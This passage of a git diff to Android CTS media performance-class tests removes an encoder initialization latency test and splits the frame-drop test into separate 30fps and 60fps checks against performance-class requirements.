         MediaFormat format = new MediaFormat();
         format.setString(MediaFormat.KEY_MIME, mMime);
-        format.setInteger(MediaFormat.KEY_BIT_RATE, 4000000);
-        format.setInteger(MediaFormat.KEY_WIDTH, 1280);
-        format.setInteger(MediaFormat.KEY_HEIGHT, 720);
+        format.setInteger(MediaFormat.KEY_BIT_RATE, mBitrate);
+        format.setInteger(MediaFormat.KEY_WIDTH, mWidth);
+        format.setInteger(MediaFormat.KEY_HEIGHT, mHeight);
         format.setInteger(MediaFormat.KEY_FRAME_RATE, mFrameRate);
         format.setInteger(MediaFormat.KEY_MAX_B_FRAMES, 0);
         format.setFloat(MediaFormat.KEY_I_FRAME_INTERVAL, 1.0f);
diff --git a/tests/mediapc/src/android/mediapc/cts/EncoderInitializationLatencyTest.java b/tests/mediapc/src/android/mediapc/cts/EncoderInitializationLatencyTest.java
deleted file mode 100644
index 8598622..0000000
--- a/tests/mediapc/src/android/mediapc/cts/EncoderInitializationLatencyTest.java
+++ /dev/null
@@ -1,462 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.mediapc.cts;
-
-import android.app.Instrumentation;
-import android.content.Context;
-import android.content.pm.PackageManager;
-import android.media.MediaCodec;
-import android.media.MediaCodecInfo;
-import android.media.MediaCodecList;
-import android.media.MediaFormat;
-import android.media.MediaRecorder;
-import android.util.Log;
-import android.util.Pair;
-import android.view.Surface;
-
-import androidx.test.filters.LargeTest;
-import androidx.test.platform.app.InstrumentationRegistry;
-import androidx.test.rule.ActivityTestRule;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Rule;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.Parameterized;
-
-import java.io.File;
-import java.io.IOException;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.Collection;
-import java.util.List;
-
-import static android.mediapc.cts.CodecTestBase.selectCodecs;
-import static android.mediapc.cts.CodecTestBase.selectHardwareCodecs;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assume.assumeFalse;
-import static org.junit.Assume.assumeTrue;
-
-/**
- * The following test class validates the codec initialization latency (time for codec create +
- * configure) for the audio encoders and hardware video encoders available in the device, under the
- * load condition (Transcode + MediaRecorder session Audio(Microphone) and 1080p Video(Camera)).
- */
-@RunWith(Parameterized.class)
-public class EncoderInitializationLatencyTest {
-    private static final String LOG_TAG = EncoderInitializationLatencyTest.class.getSimpleName();
-    private static final boolean[] boolStates = {false, true};
-    private static final int MAX_AUDIOENC_INITIALIZATION_LATENCY_MS;
-    private static final int MAX_VIDEOENC_INITIALIZATION_LATENCY_MS;
-    private static final String AVC = MediaFormat.MIMETYPE_VIDEO_AVC;
-    private static final String HEVC = MediaFormat.MIMETYPE_VIDEO_HEVC;
-    private static final String AVC_TRANSCODE_FILE = "bbb_1280x720_3mbps_30fps_avc.mp4";
-    private static String AVC_DECODER_NAME;
-    private static String AVC_ENCODER_NAME;
-    static {
-        if (Utils.isRPerfClass()) {
-            MAX_AUDIOENC_INITIALIZATION_LATENCY_MS = 50;
-            MAX_VIDEOENC_INITIALIZATION_LATENCY_MS = 65;
-        } else {
-            // Performance class Build.VERSION_CODES.S and beyond
-            MAX_AUDIOENC_INITIALIZATION_LATENCY_MS = 40;
-            MAX_VIDEOENC_INITIALIZATION_LATENCY_MS = 50;
-        }
-    }
-
-    private final String mMime;
-    private final String mEncoderName;
-
-    private LoadStatus mTranscodeLoadStatus = null;
-    private Thread mTranscodeLoadThread = null;
-    private MediaRecorder mMediaRecorderLoad = null;
-    private File mTempRecordedFile = null;
-    private Surface mSurface = null;
-    private Exception mException = null;
-
-    @Before
-    public void setUp() throws Exception {
-        assumeTrue("Test requires performance class.", Utils.isPerfClass());
-        ArrayList<String>  listOfAvcHwDecoders = selectHardwareCodecs(AVC, null, null, false);
-        assumeFalse("Test requires h/w avc decoder", listOfAvcHwDecoders.isEmpty());
-        AVC_DECODER_NAME = listOfAvcHwDecoders.get(0);
-
-        ArrayList<String> listOfAvcHwEncoders = selectHardwareCodecs(AVC, null, null, true);
-        assumeFalse("Test requires h/w avc encoder", listOfAvcHwEncoders.isEmpty());
-        AVC_ENCODER_NAME = listOfAvcHwEncoders.get(0);
-
-        Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
-        Context context = instrumentation.getTargetContext();
-        PackageManager packageManager = context.getPackageManager();
-        assertNotNull(packageManager.getSystemAvailableFeatures());
-        assumeTrue("The device doesn't have a camera",
-                packageManager.hasSystemFeature(PackageManager.FEATURE_CAMERA_ANY));
-        assumeTrue("The device doesn't have a microphone",
-                packageManager.hasSystemFeature(PackageManager.FEATURE_MICROPHONE));
-        createSurface();
-        startLoad();
-    }
-
-    @After
-    public void tearDown() throws Exception {
-        stopLoad();
-        releaseSurface();
-    }
-
-    public EncoderInitializationLatencyTest(String mimeType, String encoderName) {
-        mMime = mimeType;
-        mEncoderName = encoderName;
-    }
-
-    @Rule
-    public ActivityTestRule<TestActivity> mActivityRule =
-            new ActivityTestRule<>(TestActivity.class);
-
-    // Returns the list of all available hardware video encoders in the device.
-    static ArrayList<String> getMimesOfAvailableHardwareVideoEncoders() {
-        MediaCodecList codecList = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
-        MediaCodecInfo[] codecInfos = codecList.getCodecInfos();
-        ArrayList<String> listOfMimes = new ArrayList<>();
-        for (MediaCodecInfo codecInfo : codecInfos) {
-            if (!codecInfo.isEncoder() || !codecInfo.isHardwareAccelerated()) continue;
-            String[] types = codecInfo.getSupportedTypes();
-            for (String type : types) {
-                if (type.startsWith("video/") && !listOfMimes.contains(type)) {
-                    listOfMimes.add(type);
-                }
-            }
-        }
-        return listOfMimes;
-    }
-
-    // Returns the list of all available audio encoders in the device.
-    static ArrayList<String> getMimesOfAvailableAudioEncoders() {
-        MediaCodecList codecList = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
-        MediaCodecInfo[] codecInfos = codecList.getCodecInfos();
-        ArrayList<String> listOfMimes = new ArrayList<>();
-        for (MediaCodecInfo codecInfo : codecInfos) {
-            if (!codecInfo.isEncoder()) continue;
-            String[] types = codecInfo.getSupportedTypes();
-            for (String type : types) {
-                if (type.startsWith("audio/") && !listOfMimes.contains(type)) {
-                    listOfMimes.add(type);
-                }
-            }
-        }
-        return listOfMimes;
-    }
-
-    // Returns the list of parameters with mimetype and their encoder(for audio - all encoders,
-    // video - hardware encoders).
-    // Parameters {0}_{1} -- Mime_EncoderName
-    @Parameterized.Parameters(name = "{index}({0}_{1})")
-    public static Collection<Object[]> inputParams() {
-        // Prepares the params list with the required Hardware video encoders and all available
-        // audio encoders present in the device.
-        final List<Object[]> argsList = new ArrayList<>();
-        ArrayList<String> mimesList = getMimesOfAvailableHardwareVideoEncoders();
-        mimesList.addAll(getMimesOfAvailableAudioEncoders());
-        for (String mime : mimesList) {
-            ArrayList<String> listOfEncoders;
-            if (mime.startsWith("audio/")) {
-                listOfEncoders = selectCodecs(mime, null, null, true);
-            } else {
-                listOfEncoders = selectHardwareCodecs(mime, null, null, true);
-            }
-            for (String encoder : listOfEncoders) {
-                argsList.add(new Object[] {mime, encoder});
-            }
-        }
-        return argsList;
-    }
-
-    private MediaRecorder createMediaRecorderLoad(Surface surface) throws Exception {
-        MediaRecorder mediaRecorder = new MediaRecorder();
-        mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
-        mediaRecorder.setVideoSource(MediaRecorder.VideoSource.CAMERA);
-        mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);
-        mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
-        mediaRecorder.setVideoEncoder(mMime.equalsIgnoreCase(HEVC) ?
-                MediaRecorder.VideoEncoder.HEVC : MediaRecorder.VideoEncoder.H264);
-        mediaRecorder.setOutputFile(mTempRecordedFile);
-        mediaRecorder.setVideoSize(1920, 1080);
-        mediaRecorder.setOrientationHint(0);
-        mediaRecorder.setPreviewDisplay(surface);
-        mediaRecorder.prepare();
-        return mediaRecorder;
-    }
-
-    private void startLoad() throws Exception {
-        // TODO: b/183671436
-        // Create Transcode load (AVC Decoder(720p) + AVC Encoder(720p))
-        mTranscodeLoadStatus = new LoadStatus();
-        mTranscodeLoadThread = new Thread(() -> {
-            try {
-                TranscodeLoad transcodeLoad = new TranscodeLoad(AVC, AVC_TRANSCODE_FILE,
-                        AVC_DECODER_NAME, AVC_ENCODER_NAME, mTranscodeLoadStatus);
-                transcodeLoad.doTranscode();
-            } catch (Exception e) {
-                mException = e;
-            }
-        });
-        // Create MediaRecorder Session - Audio (Microphone) + 1080p Video (Camera)
-        // Create a temp file to dump the MediaRecorder output. Later it will be deleted.
-        mTempRecordedFile = new File(WorkDir.getMediaDirString() + "tempOut.mp4");
-        mTempRecordedFile.createNewFile();
-        mMediaRecorderLoad = createMediaRecorderLoad(mSurface);
-        // Start the Loads
-        mTranscodeLoadThread.start();
-        mMediaRecorderLoad.start();
-    }
-
-    private void stopLoad() throws Exception {
-        if (mTranscodeLoadStatus != null) {
-            mTranscodeLoadStatus.setLoadFinished();
-            mTranscodeLoadStatus = null;
-        }
-        if (mTranscodeLoadThread != null) {
-            mTranscodeLoadThread.join();
-            mTranscodeLoadThread = null;
-        }
-        if (mMediaRecorderLoad != null) {
-            // Note that a RuntimeException is intentionally thrown to the application, if no valid
-            // audio/video data has been received when stop() is called. This happens if stop() is
-            // called immediately after start(). So sleep for 1000ms inorder to make sure some
-            // data has been received between start() and stop().
-            Thread.sleep(1000);
-            mMediaRecorderLoad.stop();
-            mMediaRecorderLoad.release();
-            mMediaRecorderLoad = null;
-            if(mTempRecordedFile != null && mTempRecordedFile.exists()) {
-                mTempRecordedFile.delete();
-                mTempRecordedFile = null;
-            }
-        }
-        if (mException != null) throw mException;
-    }
-
-    private void createSurface() throws InterruptedException {
-        mActivityRule.getActivity().waitTillSurfaceIsCreated();
-        mSurface = mActivityRule.getActivity().getSurface();
-        assertTrue("Surface created is null.", mSurface != null);
-        assertTrue("Surface created is invalid.", mSurface.isValid());
-        mActivityRule.getActivity().setScreenParams(1920, 1080, true);
-    }
-
-    private void releaseSurface() {
-        if (mSurface != null) {
-            mSurface.release();
-            mSurface = null;
-        }
-    }
-
-    /**
-     * This test validates that the initialization latency(time for codec create + configure)
-     * for the audio encoders <= 30ms and for video encoders <= 40ms measuring 10 times in
-     * succession(5 times alternating sync and async modes). This also logs the stats min, max, avg
-     * of the encoder initialization latencies.
-     */
-    @LargeTest
-    @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
-    public void testInitializationLatency() throws Exception {
-        final int NUM_MEASUREMENTS = 5;
-        // Test gathers initialization latency for a number of iterations and
-        // percentile is a variable used to control how many of these iterations
-        // need to meet the pass criteria. For NUM_MEASUREMENTS at 5, sync and Async
-        // modes which is a total of 10 iterations, this translates to index 7.
-        final int percentile = 70;
-        long expectedMaxCodecInitializationLatencyMs = mMime.startsWith("audio/") ?
-                MAX_AUDIOENC_INITIALIZATION_LATENCY_MS : MAX_VIDEOENC_INITIALIZATION_LATENCY_MS;
-        long sumOfEncoderInitializationLatencyMs = 0;
-        int count = 0;
-        long[] encoderInitializationLatencyMs = new long[NUM_MEASUREMENTS * boolStates.length];
-        for (int i = 0; i < NUM_MEASUREMENTS; i++) {
-            for (boolean isAsync : boolStates) {
-                EncoderInitializationLatency encoderInitializationLatency =
-                        new EncoderInitializationLatency(mMime, mEncoderName, isAsync);
-                long latency = encoderInitializationLatency.calculateEncoderInitializationLatency();
-                encoderInitializationLatencyMs[count] = latency;
-                sumOfEncoderInitializationLatencyMs += latency;
-                count++;
-            }
-        }
-        Arrays.sort(encoderInitializationLatencyMs);
-
-        String statsLog = String.format("CodecInitialization latency for mime: %s, " +
-                "Encoder: %s, in Ms :: ", mMime, mEncoderName);
-        Log.i(LOG_TAG, "Min " + statsLog + encoderInitializationLatencyMs[0]);
-        Log.i(LOG_TAG, "Max " + statsLog + encoderInitializationLatencyMs[count - 1]);
-        Log.i(LOG_TAG, "Avg " + statsLog + (sumOfEncoderInitializationLatencyMs / count));
-
-        String errorLog = String.format(
-                "CodecInitialization latency for mime: %s, Encoder: %s is not as expected. "
-                        + "act/exp in Ms :: %d/%d",
-                mMime, mEncoderName, encoderInitializationLatencyMs[percentile * count / 100],
-                expectedMaxCodecInitializationLatencyMs);
-        assertTrue(errorLog,
-                encoderInitializationLatencyMs[percentile * count / 100]
-                        <= expectedMaxCodecInitializationLatencyMs);
-
-    }
-}
-
-/**
- * The following class calculates the encoder initialization latency (time for codec create +
- * configure). And also logs the time taken by the encoder for:
- * (create + configure + start),
- * (create + configure + start + first frame to enqueue),
- * (create + configure + start + first frame to dequeue).
- */
-class EncoderInitializationLatency extends CodecEncoderTestBase {
-    private static final String LOG_TAG = EncoderInitializationLatency.class.getSimpleName();
-
-    private final String mEncoderName;
-    private final boolean mIsAsync;
-
-    EncoderInitializationLatency(String mime, String encoderName, boolean isAsync) {
-        super(mime);
-        mEncoderName = encoderName;
-        mIsAsync = isAsync;
-        mSampleRate = 8000;
-        mFrameRate = 60;
-    }
-
-    private MediaFormat setUpFormat() throws IOException {
-        MediaFormat format = new MediaFormat();
-        format.setString(MediaFormat.KEY_MIME, mMime);
-        if (mIsAudio) {
-            if (mMime.equals(MediaFormat.MIMETYPE_AUDIO_FLAC)) {
-                format.setInteger(MediaFormat.KEY_FLAC_COMPRESSION_LEVEL, 10000);
-            } else {
-                format.setInteger(MediaFormat.KEY_BIT_RATE, 128000);
-            }
-            format.setInteger(MediaFormat.KEY_SAMPLE_RATE, mSampleRate);
-            format.setInteger(MediaFormat.KEY_CHANNEL_COUNT, 1);
-        } else {
-            MediaCodec codec = MediaCodec.createByCodecName(mEncoderName);
-            MediaCodecInfo.CodecCapabilities codecCapabilities =
-                    codec.getCodecInfo().getCapabilitiesForType(mMime);
-            if (codecCapabilities.getVideoCapabilities().isSizeSupported(1920, 1080)) {
-                format.setInteger(MediaFormat.KEY_WIDTH, 1920);
-                format.setInteger(MediaFormat.KEY_HEIGHT, 1080);
-                format.setInteger(MediaFormat.KEY_BIT_RATE, 8000000);
-            } else if (codecCapabilities.getVideoCapabilities().isSizeSupported(1280, 720)) {
-                format.setInteger(MediaFormat.KEY_WIDTH, 1280);
-                format.setInteger(MediaFormat.KEY_HEIGHT, 720);
-                format.setInteger(MediaFormat.KEY_BIT_RATE, 5000000);
-            } else if (codecCapabilities.getVideoCapabilities().isSizeSupported(640, 480)) {
-                format.setInteger(MediaFormat.KEY_WIDTH, 640);
-                format.setInteger(MediaFormat.KEY_HEIGHT, 480);
-                format.setInteger(MediaFormat.KEY_BIT_RATE, 2000000);
-            } else if (codecCapabilities.getVideoCapabilities().isSizeSupported(352, 288)) {
-                format.setInteger(MediaFormat.KEY_WIDTH, 352);
-                format.setInteger(MediaFormat.KEY_HEIGHT, 288);
-                format.setInteger(MediaFormat.KEY_BIT_RATE, 512000);
-            } else {
-                format.setInteger(MediaFormat.KEY_WIDTH, 176);
-                format.setInteger(MediaFormat.KEY_HEIGHT, 144);
-                format.setInteger(MediaFormat.KEY_BIT_RATE, 128000);
-            }
-            codec.release();
-            format.setInteger(MediaFormat.KEY_FRAME_RATE, mFrameRate);
-            format.setFloat(MediaFormat.KEY_I_FRAME_INTERVAL, 1.0f);
-            format.setInteger(MediaFormat.KEY_COLOR_FORMAT,
-                    MediaCodecInfo.CodecCapabilities.COLOR_FormatYUV420Flexible);
-        }
-        return format;
-    }
-
-    public long calculateEncoderInitializationLatency() throws Exception {
-        MediaFormat format = setUpFormat();
-        if (mIsAudio) {
-            mSampleRate = format.getInteger(MediaFormat.KEY_SAMPLE_RATE);
-            mChannels = format.getInteger(MediaFormat.KEY_CHANNEL_COUNT);
-        } else {
-            mWidth = format.getInteger(MediaFormat.KEY_WIDTH);
-            mHeight = format.getInteger(MediaFormat.KEY_HEIGHT);
-        }
-        setUpSource(mInputFile);
-        MediaCodec.BufferInfo outInfo = new MediaCodec.BufferInfo();
-        long enqueueTimeStamp = 0;
-        long dequeueTimeStamp = 0;
-        long baseTimeStamp = System.nanoTime();
-        mCodec = MediaCodec.createByCodecName(mEncoderName);
-        resetContext(mIsAsync, false);
-        mAsyncHandle.setCallBack(mCodec, mIsAsync);
-        mCodec.configure(format, null, MediaCodec.CONFIGURE_FLAG_ENCODE, null);
-        long configureTimeStamp = System.nanoTime();
-        mCodec.start();
-        long startTimeStamp = System.nanoTime();
-        if (mIsAsync) {
-            // We will keep on feeding the input to encoder until we see the first dequeued frame.
-            while (!mAsyncHandle.hasSeenError() && !mSawInputEOS) {
-                Pair<Integer, MediaCodec.BufferInfo> element = mAsyncHandle.getWork();
-                if (element != null) {
-                    int bufferID = element.first;
-                    MediaCodec.BufferInfo info = element.second;
-                    if (info != null) {
-                        dequeueTimeStamp = System.nanoTime();
-                        dequeueOutput(bufferID, info);
-                        break;
-                    } else {
-                        if (enqueueTimeStamp == 0) {
-                            enqueueTimeStamp = System.nanoTime();
-                        }
-                        enqueueInput(bufferID);
-                    }
-                }
-            }
-        } else {
-            while (!mSawOutputEOS) {
-                if (!mSawInputEOS) {
-                    int inputBufferId = mCodec.dequeueInputBuffer(Q_DEQ_TIMEOUT_US);
-                    if (inputBufferId > 0) {
-                        if (enqueueTimeStamp == 0) {
-                            enqueueTimeStamp = System.nanoTime();
-                        }
-                        enqueueInput(inputBufferId);
-                    }
-                }
-                int outputBufferId = mCodec.dequeueOutputBuffer(outInfo, Q_DEQ_TIMEOUT_US);
-                if (outputBufferId >= 0) {
-                    dequeueTimeStamp = System.nanoTime();
-                    dequeueOutput(outputBufferId, outInfo);
-                    break;
-                }
-            }
-        }
-        queueEOS();
-        waitForAllOutputs();
-        mCodec.stop();
-        mCodec.release();
-        Log.d(LOG_TAG, "Encode mMime: " + mMime + " Encoder: " + mEncoderName +
-                " Time for (create + configure) in ns: " + (configureTimeStamp - baseTimeStamp));
-        Log.d(LOG_TAG, "Encode mMime: " + mMime + " Encoder: " + mEncoderName +
-                " Time for (create + configure + start) in ns: " +
-                (startTimeStamp - baseTimeStamp));
-        Log.d(LOG_TAG, "Encode mMime: " + mMime + " Encoder: " + mEncoderName +
-                " Time for (create + configure + start + first frame to enqueue) in ns: " +
-                (enqueueTimeStamp - baseTimeStamp));
-        Log.d(LOG_TAG, "Encode mMime: " + mMime + " Encoder: " + mEncoderName +
-                " Time for (create + configure + start + first frame to dequeue) in ns: " +
-                (dequeueTimeStamp - baseTimeStamp));
-        long timeToConfigureMs = (configureTimeStamp - baseTimeStamp) / 1000000;
-        return timeToConfigureMs;
-    }
-}
diff --git a/tests/mediapc/src/android/mediapc/cts/FrameDropTest.java b/tests/mediapc/src/android/mediapc/cts/FrameDropTest.java
index b3d54de..b6a752a 100644
--- a/tests/mediapc/src/android/mediapc/cts/FrameDropTest.java
+++ b/tests/mediapc/src/android/mediapc/cts/FrameDropTest.java
@@ -16,16 +16,18 @@
 
 package android.mediapc.cts;
 
+import android.mediapc.cts.common.PerformanceClassEvaluator;
+import android.mediapc.cts.common.Utils;
 import androidx.test.filters.LargeTest;
-
+import com.android.compatibility.common.util.CddTest;
+import java.util.Collection;
+import org.junit.Assume;
+import org.junit.Rule;
 import org.junit.Test;
+import org.junit.rules.TestName;
 import org.junit.runner.RunWith;
 import org.junit.runners.Parameterized;
 
-import java.util.Collection;
-
-import static org.junit.Assert.assertTrue;
-
 /**
  * The following test class validates the frame drops of a playback for the hardware decoders
  * under the load condition (Transcode + Audio Playback).
@@ -38,6 +40,9 @@
         super(mimeType, decoderName, isAsync);
     }
 
+    @Rule
+    public final TestName mTestName = new TestName();
+
     // Returns the list of parameters with mimeTypes and their hardware decoders
     // combining with sync and async modes.
     // Parameters {0}_{1}_{2} -- Mime_DecoderName_isAsync
@@ -46,20 +51,58 @@
         return prepareArgumentsList(null);
     }
 
+    private int testDecodeToSurface(int frameRate) throws Exception {
+        String[] testFiles = frameRate == 30 ?
+                new String[]{m1080p30FpsTestFiles.get(mMime)} :
+                new String[]{m1080p60FpsTestFiles.get(mMime)};
+        PlaybackFrameDrop playbackFrameDrop = new PlaybackFrameDrop(mMime, mDecoderName, testFiles,
+                mSurface, frameRate, mIsAsync);
+        return playbackFrameDrop.getFrameDropCount();
+    }
+
     /**
      * This test validates that the playback of 1920x1080 resolution asset of 3 seconds duration
-     * at 60 fps for S perf class / 30 fps for R perf class, for at least 30 seconds worth of
-     * frames or for 31 seconds of elapsed time. must not drop more than 6 frames for S perf
-     * class / 3 frames for R perf class.
+     * at 30 fps for R perf class, for at least 30 seconds worth of  frames or for 31 seconds of
+     * elapsed time. must not drop more than 3 frames for R perf class.
      */
     @LargeTest
     @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
-    public void testDecodeToSurface() throws Exception {
-        PlaybackFrameDrop playbackFrameDrop = new PlaybackFrameDrop(mMime, mDecoderName,
-                new String[]{m1080pTestFiles.get(mMime)}, mSurface, FRAME_RATE, mIsAsync);
-        int frameDropCount = playbackFrameDrop.getFrameDropCount();
-        assertTrue("FrameDrop count for mime: " + mMime + ", decoder: " + mDecoderName +
-                ", FrameRate: " + FRAME_RATE + ", is not as expected. act/exp: " + frameDropCount +
-                "/" + MAX_FRAME_DROP_FOR_30S, frameDropCount <= MAX_FRAME_DROP_FOR_30S);
+    @CddTest(requirement="2.2.7.1/5.3/H-1-1")
+    public void test30Fps() throws Exception {
+        Assume.assumeTrue("Test is limited to R performance class devices or devices that do not " +
+                        "advertise performance class",
+                Utils.isRPerfClass() || !Utils.isPerfClass());
+        int frameRate = 30;
+
+        PerformanceClassEvaluator pce = new PerformanceClassEvaluator(this.mTestName);
+        PerformanceClassEvaluator.FrameDropRequirement r5_3__H_1_1_R = pce.addR5_3__H_1_1_R();
+
+        int framesDropped = testDecodeToSurface(frameRate);
+        r5_3__H_1_1_R.setFramesDropped(framesDropped);
+        r5_3__H_1_1_R.setFrameRate(frameRate);
+        pce.submitAndCheck();
+    }
+
+    /**
+     * This test validates that the playback of 1920x1080 resolution asset of 3 seconds duration
+     * at 60 fps for S/T perf class,  for at least 30 seconds worth of  frames or for 31 seconds of
+     * elapsed time. must not drop more than 6 frames for S perf class / 3 frames for T perf class.
+     */
+    @LargeTest
+    @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
+    @CddTest(requirement="2.2.7.1/5.3/H-1-1")
+    public void test60Fps() throws Exception {
+        Assume.assumeTrue("Test is limited to S/T performance class devices or devices that do " +
+                        "not advertise performance class",
+                Utils.isSPerfClass() || Utils.isTPerfClass() || !Utils.isPerfClass());
+        int frameRate = 60;
+
+        PerformanceClassEvaluator pce = new PerformanceClassEvaluator(this.mTestName);
+        PerformanceClassEvaluator.FrameDropRequirement r5_3__H_1_1_ST = pce.addR5_3__H_1_1_ST();
+
+        int framesDropped = testDecodeToSurface(frameRate);
+        r5_3__H_1_1_ST.setFramesDropped(framesDropped);
+        r5_3__H_1_1_ST.setFrameRate(frameRate);
+        pce.submitAndCheck();
     }
 }
diff --git a/tests/mediapc/src/android/mediapc/cts/FrameDropTestBase.java b/tests/mediapc/src/android/mediapc/cts/FrameDropTestBase.java
index a57faf7..d12a2f2 100644
--- a/tests/mediapc/src/android/mediapc/cts/FrameDropTestBase.java
+++ b/tests/mediapc/src/android/mediapc/cts/FrameDropTestBase.java
@@ -16,7 +16,17 @@
 
 package android.mediapc.cts;
 
+import static android.mediapc.cts.CodecTestBase.selectCodecs;
+import static android.mediapc.cts.CodecTestBase.selectHardwareCodecs;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeTrue;
+
 import android.media.MediaFormat;
+import android.mediapc.cts.common.Utils;
+import android.os.Build;
 import android.util.Log;
 import android.view.Surface;
 
@@ -31,13 +41,6 @@
 import java.util.List;
 import java.util.Map;
 
-import static android.mediapc.cts.CodecTestBase.selectCodecs;
-import static android.mediapc.cts.CodecTestBase.selectHardwareCodecs;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assume.assumeFalse;
-import static org.junit.Assume.assumeTrue;
-
 public class FrameDropTestBase {
     private static final String LOG_TAG = FrameDropTestBase.class.getSimpleName();
     static final boolean[] boolStates = {false, true};
@@ -50,9 +53,13 @@
     static final String AAC_LOAD_FILE_NAME = "bbb_1c_128kbps_aac_audio.mp4";
     static final String AVC_LOAD_FILE_NAME = "bbb_1280x720_3mbps_30fps_avc.mp4";
     static final long DECODE_31S = 31000; // In ms
-    static final int MAX_ADAPTIVE_PLAYBACK_FRAME_DROP = 0;
-    static final int FRAME_RATE = Utils.isSPerfClass() ? 60 : 30;
     static final int MAX_FRAME_DROP_FOR_30S;
+    // For perf class R, one frame drop per 10 seconds at 30 fps i.e. 3 drops per 30 seconds
+    static final int MAX_FRAME_DROP_FOR_30S_30FPS_PC_R = 3;
+    // For perf class S, two frame drops per 10 seconds at 60 fps i.e. 6 drops per 30 seconds
+    static final int MAX_FRAME_DROP_FOR_30S_60FPS_PC_S = 6;
+    // For perf class T, one frame drop per 10 seconds at 60 fps i.e. 3 drops per 30 seconds
+    static final int MAX_FRAME_DROP_FOR_30S_60FPS_PC_T = 3;
 
     final String mMime;
     final String mDecoderName;
@@ -68,46 +75,52 @@
     static String AVC_DECODER_NAME;
     static String AVC_ENCODER_NAME;
     static String AAC_DECODER_NAME;
-    static Map<String, String> m540pTestFiles = new HashMap<>();
-    static Map<String, String> m1080pTestFiles = new HashMap<>();
+    static Map<String, String> m540p30FpsTestFiles = new HashMap<>();
+    static Map<String, String> m1080p30FpsTestFiles = new HashMap<>();
+    static Map<String, String> m540p60FpsTestFiles = new HashMap<>();
+    static Map<String, String> m1080p60FpsTestFiles = new HashMap<>();
     static {
-        if (Utils.isSPerfClass()) {
-            // Two frame drops per 10 seconds at 60 fps is 6 drops per 30 seconds
-            MAX_FRAME_DROP_FOR_30S = 6;
-            m540pTestFiles.put(AVC, "bbb_960x540_3mbps_60fps_avc.mp4");
-            m540pTestFiles.put(HEVC, "bbb_960x540_3mbps_60fps_hevc.mp4");
-            m540pTestFiles.put(VP8, "bbb_960x540_3mbps_60fps_vp8.webm");
-            m540pTestFiles.put(VP9, "bbb_960x540_3mbps_60fps_vp9.webm");
-            m540pTestFiles.put(AV1, "bbb_960x540_3mbps_60fps_av1.mp4");
+        m540p60FpsTestFiles.put(AVC, "bbb_960x540_3mbps_60fps_avc.mp4");
+        m540p60FpsTestFiles.put(HEVC, "bbb_960x540_3mbps_60fps_hevc.mp4");
+        m540p60FpsTestFiles.put(VP8, "bbb_960x540_3mbps_60fps_vp8.webm");
+        m540p60FpsTestFiles.put(VP9, "bbb_960x540_3mbps_60fps_vp9.webm");
+        m540p60FpsTestFiles.put(AV1, "bbb_960x540_3mbps_60fps_av1.mp4");
 
-            m1080pTestFiles.put(AVC, "bbb_1920x1080_8mbps_60fps_avc.mp4");
-            m1080pTestFiles.put(HEVC, "bbb_1920x1080_6mbps_60fps_hevc.mp4");
-            m1080pTestFiles.put(VP8, "bbb_1920x1080_8mbps_60fps_vp8.webm");
-            m1080pTestFiles.put(VP9, "bbb_1920x1080_6mbps_60fps_vp9.webm");
-            m1080pTestFiles.put(AV1, "bbb_1920x1080_6mbps_60fps_av1.mp4");
-        } else if (Utils.isRPerfClass()) {
-            // One frame drops per 10 seconds at 30 fps is 3 drops per 30 seconds
-            MAX_FRAME_DROP_FOR_30S = 3;
-            m540pTestFiles.put(AVC, "bbb_960x540_2mbps_30fps_avc.mp4");
-            m540pTestFiles.put(HEVC, "bbb_960x540_2mbps_30fps_hevc.mp4");
-            m540pTestFiles.put(VP8, "bbb_960x540_2mbps_30fps_vp8.webm");
-            m540pTestFiles.put(VP9, "bbb_960x540_2mbps_30fps_vp9.webm");
-            m540pTestFiles.put(AV1, "bbb_960x540_2mbps_30fps_av1.mp4");
+        m1080p60FpsTestFiles.put(AVC, "bbb_1920x1080_8mbps_60fps_avc.mp4");
+        m1080p60FpsTestFiles.put(HEVC, "bbb_1920x1080_6mbps_60fps_hevc.mp4");
+        m1080p60FpsTestFiles.put(VP8, "bbb_1920x1080_8mbps_60fps_vp8.webm");
+        m1080p60FpsTestFiles.put(VP9, "bbb_1920x1080_6mbps_60fps_vp9.webm");
+        m1080p60FpsTestFiles.put(AV1, "bbb_1920x1080_6mbps_60fps_av1.mp4");
 
-            m1080pTestFiles.put(AVC, "bbb_1920x1080_6mbps_30fps_avc.mp4");
-            m1080pTestFiles.put(HEVC, "bbb_1920x1080_4mbps_30fps_hevc.mp4");
-            m1080pTestFiles.put(VP8, "bbb_1920x1080_6mbps_30fps_vp8.webm");
-            m1080pTestFiles.put(VP9, "bbb_1920x1080_4mbps_30fps_vp9.webm");
-            m1080pTestFiles.put(AV1, "bbb_1920x1080_4mbps_30fps_av1.mp4");
-        } else {
-            MAX_FRAME_DROP_FOR_30S = 0;
-            Log.e(LOG_TAG, "Unknown performance class.");
+        m540p30FpsTestFiles.put(AVC, "bbb_960x540_2mbps_30fps_avc.mp4");
+        m540p30FpsTestFiles.put(HEVC, "bbb_960x540_2mbps_30fps_hevc.mp4");
